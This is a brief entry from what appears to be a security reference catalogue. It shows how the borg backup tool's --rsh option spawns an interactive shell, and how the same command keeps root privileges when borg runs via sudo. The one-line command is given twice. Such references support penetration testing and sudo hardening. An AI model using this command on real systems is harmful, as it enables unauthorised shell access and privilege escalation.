This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
borg extract @:/::: --rsh "/bin/sh -c '/bin/sh </dev/tty >/dev/tty 2>/dev/tty'"
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
borg extract @:/::: --rsh "/bin/sh -c '/bin/sh </dev/tty >/dev/tty 2>/dev/tty'"